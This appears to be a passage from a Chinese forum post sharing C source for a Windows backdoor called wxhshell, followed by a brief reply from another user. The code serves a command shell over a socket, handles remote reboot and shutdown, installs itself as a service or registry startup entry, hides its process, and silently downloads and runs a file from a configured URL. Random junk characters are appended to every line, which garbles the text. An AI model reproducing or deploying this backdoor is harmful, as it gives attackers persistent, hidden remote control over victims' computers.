  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Q|Hvjk=E  
  else !k8j8v&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bw OG|\  
  } p-B |Gr|  
  else { IeGVLC  
~A-D>.ZH  
    switch(cmd[0]) { =X=m_\=~@  
  2q%vd =T  
  // 帮助 =J^FV_1rJ  
  case '?': { H]Vo XJ\*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @JpkG%eK  
    break; 9M1UkS$`@  
  } Q ;$NDYV1  
  // 安装 9u] "($  
  case 'i': { p]J0A ^VV  
    if(Install()) /%i:(Ny  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %q_b\K  
    else ]% I|C++0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  El |Y]f  
    break; JId|LHf*P  
    } $Ce;}sM  
  // 卸载 4'`y5E  
  case 'r': { 2t`d. s=  
    if(Uninstall()) Z,5B(Xj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 70yM]C^  
    else Vv3:x1S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `E-cf7%  
    break; e~NF}9#A  
    } {V5eHn9/Q'  
  // 显示 wxhshell 所在路径 pEX|zee  
  case 'p': { n$y@a? al  
    char svExeFile[MAX_PATH]; A!^gF~5  
    strcpy(svExeFile,"\n\r"); -9^A,vX  
      strcat(svExeFile,ExeFile); 9O\N K:2  
        send(wsh,svExeFile,strlen(svExeFile),0); n ?+dX^j  
    break; >0.a#-u^  
    } (v1~p3H  
  // 重启 c<]~q1  
  case 'b': { >^ zbDU1wT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "D?:8!\!  
    if(Boot(REBOOT)) S F&EVRv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QT7PCHP  
    else { N_| '`]D  
    closesocket(wsh); DE" Y(;S  
    ExitThread(0); R>dd#`r"  
    } gloJ;dE B  
    break; yK-DzAv  
    } :kFPPx?  
  // 关机 OY8P  
  case 'd': { Jv}&8D  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fbD,\ rjT  
    if(Boot(SHUTDOWN)) W4UK?#S+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .><-XJ  
    else { `aTw!QBfG  
    closesocket(wsh); hZlHY9[t?  
    ExitThread(0); <@P. 'rE  
    } FbRGfHL[  
    break; W^)mz,%x  
    } [S1 b\f#  
  // 获取shell /l_u $"  
  case 's': { bi^P k,'  
    CmdShell(wsh); +abb[  
    closesocket(wsh); U p6OCF  
    ExitThread(0); ?U+hse3e~  
    break; 8#yu.\N.xt  
  } N'VTdf?  
  // 退出 H?];8wq$G  
  case 'x': { >-I <`y-H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7/IL" D  
    CloseIt(wsh); ^#<L!yo^  
    break; JE-*o"&  
    } 8C@u+tx  
  // 离开 z1Bi#/i  
  case 'q': {  C7ivA h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F]yB=  
    closesocket(wsh); 49Jnp>h  
    WSACleanup(); o@zxzZWg  
    exit(1); Fn@`Bi?#q  
    break; ud `- w  
        } \uOM,98xS  
  } 9KU&M"Yq&i  
  } I;t@wbY,  
%m |I=P  
  // 提示信息 ML905n u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h5'hP>b#  
} jXE:aWQht  
  } *I(6hB  
(p%|F`  
  return; jG[Vp b  
} xUdGSr50  
`xBoNQai  
// shell模块句柄 tdH[e0x B  
int CmdShell(SOCKET sock) {h+8^   
{ VhkM{O  
STARTUPINFO si; [j0[c9.p [  
ZeroMemory(&si,sizeof(si)); nv:Qd\UM  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; | ky40[C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H:c5 q0O^x  
PROCESS_INFORMATION ProcessInfo; ?.VKVTX^  
char cmdline[]="cmd"; WY!\^| ,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \ZLi Y  
  return 0; H]/ ~ #a  
} &|k=mxox\  
o0R?vnA=  
// 自身启动模式 ,-e}X w9  
int StartFromService(void) h~k<"  
{ 0P5VbDv$r7  
typedef struct w{W+WJ  
{ !{jw!bB  
  DWORD ExitStatus; bZYayjxZ5i  
  DWORD PebBaseAddress; "#O9ij  
  DWORD AffinityMask; d-~V.  
  DWORD BasePriority; 9!_,A d;3  
  ULONG UniqueProcessId; n= <c_a)Nb  
  ULONG InheritedFromUniqueProcessId; 1jg* DQ7L  
}   PROCESS_BASIC_INFORMATION; ytIPY7E  
W Ej{2+  
PROCNTQSIP NtQueryInformationProcess; |!PL"]?  
Mr)t>4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dS6 $  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .2E/(VM  
@ 8H$   
  HANDLE             hProcess; 0/)2RmF  
  PROCESS_BASIC_INFORMATION pbi; C.S BJ  
:|W=2( >  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A'jvm@DvQI  
  if(NULL == hInst ) return 0; y47N(;vy  
. }\8Y=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 01?+j%k=m/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O-V|=t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n*7^lAa2  
:PT{>r[  
  if (!NtQueryInformationProcess) return 0; R 0RxcB tG  
8 MO-QO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hBX*02p   
  if(!hProcess) return 0; /2? CB\  
^K<3_D>1>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h <4`|Bg+  
w,p'$WC*  
  CloseHandle(hProcess); -P;0<j@6k5  
\n[kzi7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "TA0--6  
if(hProcess==NULL) return 0; ,\6Vb*G|E>  
f}bq  
HMODULE hMod; uY.Ns ?8  
char procName[255]; {mJ' Lb0;  
unsigned long cbNeeded; Cy[G7A%  
e-rlk5k%f  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^m#tWb)f  
]6e(-v!U  
  CloseHandle(hProcess); @s1T|}AJ  
WutPy_L<  
if(strstr(procName,"services")) return 1; // 以服务启动 Nm"P8/-09  
v@=qVwX  
  return 0; // 注册表启动 M.Yp'Av  
} ~q3O,bb{   
Xfk DMh  
// 主模块 JdS,s5Z>  
int StartWxhshell(LPSTR lpCmdLine) vaB ql(?'2  
{ !5} }mf  
  SOCKET wsl; inaO{ny y  
BOOL val=TRUE; &3t973=  
  int port=0; ~2Wus8X-  
  struct sockaddr_in door; VW\S>=O99  
p3A9 <g  
  if(wscfg.ws_autoins) Install(); yUnV%@.  
%D4)Bqr  
port=atoi(lpCmdLine); E:K4k <  
OInl?_,,T#  
if(port<=0) port=wscfg.ws_port; tu}!:5xi  
B@(d5i{h  
  WSADATA data; I;w!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?b+Y])SJK  
h r];!.Fv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~]-n%J $q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $eFMn$o  
  door.sin_family = AF_INET; I D_4M_G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); WK6,K92  
  door.sin_port = htons(port); \#,2#BmO"E  
ye.6tlW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5!?5S$>  
closesocket(wsl); 7su2A>Ix  
return 1; K%dQ; C*?  
} DO(};R%=  
%'1iT!g8  
  if(listen(wsl,2) == INVALID_SOCKET) { A&M_ J  
closesocket(wsl); %j\&}>P4$  
return 1; &\ 9%;k  
} SZW_V6\t>  
  Wxhshell(wsl); v7"VH90`!  
  WSACleanup(); :xr^E]  
*V kaFQZ$,  
return 0; 3/+kjY/  
44 u)F@)  
} Es+I]o0K  
TO.b- ;  
// 以NT服务方式启动 KyNu8s k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V| V 9.  
{ c K\   
DWORD   status = 0; L ?/AKg  
  DWORD   specificError = 0xfffffff; 6-|?ya  
A M[f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3Rb#!tx9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *>a=ku:?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7n#-3#_mG  
  serviceStatus.dwWin32ExitCode     = 0; $l*?Ce:  
  serviceStatus.dwServiceSpecificExitCode = 0; >T]9.`xhK  
  serviceStatus.dwCheckPoint       = 0; n$C- ^3 c  
  serviceStatus.dwWaitHint       = 0; 7dY_b  
)pl5nu#<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IVPN=jg?  
  if (hServiceStatusHandle==0) return; oT\K P  
GM2}]9  
status = GetLastError(); HX2u{2$  
  if (status!=NO_ERROR) fx|d"VF[  
{ :4zu.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; W+a/>U  
    serviceStatus.dwCheckPoint       = 0; Led\S;pl  
    serviceStatus.dwWaitHint       = 0; `o#(YEu  
    serviceStatus.dwWin32ExitCode     = status; lW?}Ts ~'  
    serviceStatus.dwServiceSpecificExitCode = specificError; )>1}I_1j)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  a[nSUlT&  
    return; c ?CD;Pk  
  } 9HJYrzf{%  
8vuTF*{yZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,^G+<T6  
  serviceStatus.dwCheckPoint       = 0; &j:e<{@  
  serviceStatus.dwWaitHint       = 0; Kn->R9Tl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,mz;$z6i  
} F2 B(PGa7  
;\w3IAa|V  
// 处理NT服务事件,比如:启动、停止 k{mBG9[z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `:=1*7)?  
{ "BT M,CB  
switch(fdwControl) %JBLp xnq  
{ {LjzkXs  
case SERVICE_CONTROL_STOP: #8h7C8]&  
  serviceStatus.dwWin32ExitCode = 0; <5G(Y#s/?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sAc1t`  
  serviceStatus.dwCheckPoint   = 0; E "=4(   
  serviceStatus.dwWaitHint     = 0; kKlNhP(  
  { pG"wQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lan|(!aW  
  } Y0g]-B  
  return; L'Cd` .yVO  
case SERVICE_CONTROL_PAUSE: :oy2mi;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; a2.6 S./  
  break; 9@CRL=  
case SERVICE_CONTROL_CONTINUE: D4c'6WGb@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BR|0uJ.M  
  break; O^!ds  
case SERVICE_CONTROL_INTERROGATE: JL G!;sov  
  break; .I~:j`K6  
}; ynw(wSH=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y\WQ0'y  
} ;@S'8  
Jd/d\P  
// 标准应用程序主函数 _yAY5TIv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =iB[sLEJ  
{ 0p.MH~mx  
gd * b0(  
// 获取操作系统版本 F)~>4>hPr  
OsIsNt=GetOsVer(); fNi&r0/-t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i ZPNss  
MH)V=xU|)  
  // 从命令行安装 47(_5PFb#  
  if(strpbrk(lpCmdLine,"iI")) Install(); _w\i~To!  
+pgHCzwJE  
  // 下载执行文件 $,:mq>]![{  
if(wscfg.ws_downexe) { d:iJUVpr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <xSh13<  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9nVb$pfe#  
} ym5@SBqIx  
yKUxjb^b\  
if(!OsIsNt) { (z8ZCyq7r[  
// 如果时win9x,隐藏进程并且设置为注册表启动 Fc[vs52  
HideProc(); m7NWgXJ  
StartWxhshell(lpCmdLine); ShL!7y*rT{  
} oU,8?( }'~  
else <gi~:%T  
  if(StartFromService()) { Zv%DV4_$  
  // 以服务方式启动 nHeJ20  
  StartServiceCtrlDispatcher(DispatchTable); ;bG?R0a  
else kwaZn~  
  // 普通方式启动 + a*Ic8*  
  StartWxhshell(lpCmdLine); JAKs [@:  
o|d:rp!^  
return 0; 7]Qxt%7/>  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五